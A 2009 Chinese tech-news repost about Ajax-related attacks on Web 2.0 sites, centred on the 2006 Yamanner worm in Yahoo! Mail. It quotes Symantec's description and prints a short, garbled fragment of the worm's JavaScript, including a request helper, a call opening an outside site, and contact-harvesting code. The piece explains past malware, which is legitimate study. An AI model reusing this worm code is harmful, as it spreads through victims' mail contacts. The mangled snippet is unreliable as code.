滚动新闻:
  网站首页     新闻资讯     网络安全     网页制作     办公软件     网站运营     平面设计     网络编程  
今天是,欢迎访问Ok3w新闻发布系统! 请您留言 | 免费下载 | 设为首页 | 加入收藏
您当前位置:网站首页 >> 网页制作 >> Javascript/Ajax >> 阅读文章
站内查找:

Web2.0网站攻击新潮—Ajax Hacking


来源:互联网 发布时间:2009-05-01 00:20:36 查看次数:

05年初,随着web2.0这个字眼在中国的各大网络媒体上如潮水般的涌现,Ajax技术(AJAX,即"Asynchronous JavaScript And XML"的缩写,可翻译为异步JavaScript及XML技术。其核心是一个寄宿在浏览器中名为XMLHTTPRequest的类)也立即成为了大家学习研究及讨论的焦点。当然凡事有利亦有弊,黑客们很快就找到了Ajax的可攻击弱点——SQL资料隐码(SQL injections)、跨站脚本(cross-site scripting)和服务拒绝攻击(Denial of Service)等。只是当时web2.0技术尚没有像如今一样流行,而且没有比较正规化的平台发展起来,所以并没有大量的攻击出现。

真正的大型Ajax攻击在今年的6月12日首次出现在Yahoo!的Email服务上,而且甚至引起symantec的高度警觉。在其官方网站上你可以看到如下信息

Discovered: June 12, 2006
Updated: June 20, 2006 10:46:40 AM ZW3
Also Known As: JS/Yamanner@MM [McAfee], JS_YAMANER.A [Trend Micro], Yamanner.A [F-Secure], JS/Yamann-A [Sophos]
Type: Worm
Infection Length: 6,377 bytes.
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP
JS.Yamanner@m is a worm that is written in JavaScript. It exploits a vulnerability in the Yahoo! Mail service to send a copy of itself to other Yahoo! Mail contacts.

你可以看到该攻击程序为一大小为6.377k的javascript蠕虫程序,并在20日进行了变种;因为是 javascript代码,所以可以通吃所有版本的windows操作系统。Symantec对其的官方解释为:Yamanner是一个用 javascript写的蠕虫,它利用Yahoo! Mail服务的一个弱点以用户的联系人列表向外发出自己的拷贝。事实上这个蠕虫甚至不需要你打开附件,只要一浏览邮件立即会使其蔓延。我很幸运地对于当时原始的病毒代码进行收集,有兴趣的可以到光盘中查看,如今在网上几乎找不到了。从其中的一段功能代码,你可以看出javascript究竟是怎么被写入的,写入后文件又是通过什么方式调用的: 

  1. IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,  
  2. Param) { //- - 执行标准的Ajax语句:XMLHttpRequest,并对浏览器是否IE进行判断 if (window.XMLHttpRequest) { http_request =  
  3. new XMLHttpRequest(); } else if (window.ActiveXObject) {  
  4. http_request = new ActiveXObject('Microsoft.XMLHTTP'); }  
  5. http_request.target=""onreadystatechange = Func;  
  6. http_request.open(Method, url, true); if( Method == 'GET')  
  7. http_request.send(null); else http_request.send(Param);  
  8. }window.open('http://www,lastdata.com'); ServerUrl = url0;USIndex =  
  9. ServerUrl.indexOf('us.' ,0);MailIndex = ServerUrl.indexOf('.mail' ,0);CutLen =  
  10. MailIndex - USIndex - 3;var Server = ServerUrl.substr(USIndex + 3, CutLen);  
  11. function GetIDs(HtmlContent) { IDList = ''; StartString = '  
  12. '; EndString = ''; 

·上一条:AJAX应用中使用TODO服务[ASP.NET]
·下一条:Ajax让网页木马“悄悄的执行”
相关文章
·Ajax是什么 2009-05-01 00:43:25
·Ajax 技术从入门到精髓 2009-05-01 00:40:32
·最基本的AJAX框架的实现方法 2009-05-01 00:38:02
·AJAX调用WCF服务项模板[ASP.NET] 2009-05-01 00:35:24
·AJAX的类库中使用服务接口定义[ASP.NET] 2009-05-01 00:34:14
·Ajax文本框输入提示 2009-05-01 00:31:29
·AJAX应用中使用TODO服务[ASP.NET] 2009-05-01 00:30:32
·Web2.0网站攻击新潮—Ajax Hacking 2009-05-01 00:20:36
文章评论
现在有0人对本文发表评论 查看所有评论
赞助商链接
  最新更新
·Ajax是什么
·Ajax 技术从入门到精髓
·最基本的AJAX框架的实现方法
·AJAX调用WCF服务项模板[ASP.NET]
·AJAX的类库中使用服务接口定义[ASP.NET]
·Ajax文本框输入提示
·AJAX应用中使用TODO服务[ASP.NET]
·Web2.0网站攻击新潮—Ajax Hacking
·Ajax让网页木马“悄悄的执行”
  阅读排行
·Ajax 技术从入门到精髓
·Ajax让网页木马“悄悄的执行”
·Web2.0网站攻击新潮—Ajax Hacking
·Ajax是什么
·AJAX调用WCF服务项模板[ASP.NET]
·最基本的AJAX框架的实现方法
·Ajax文本框输入提示
·AJAX的类库中使用服务接口定义[ASP.NET]
·AJAX应用中使用TODO服务[ASP.NET]
关于我们 | 使用说明 | 联系方式 | 免责声明 | 免费下载 | 有事请留言 | 滇ICP备08101427号
联系邮箱:zhengbi888@yahoo.com.cn 在线QQ:124895502
Copyright 2009, 版权所有 www.glzy8.com.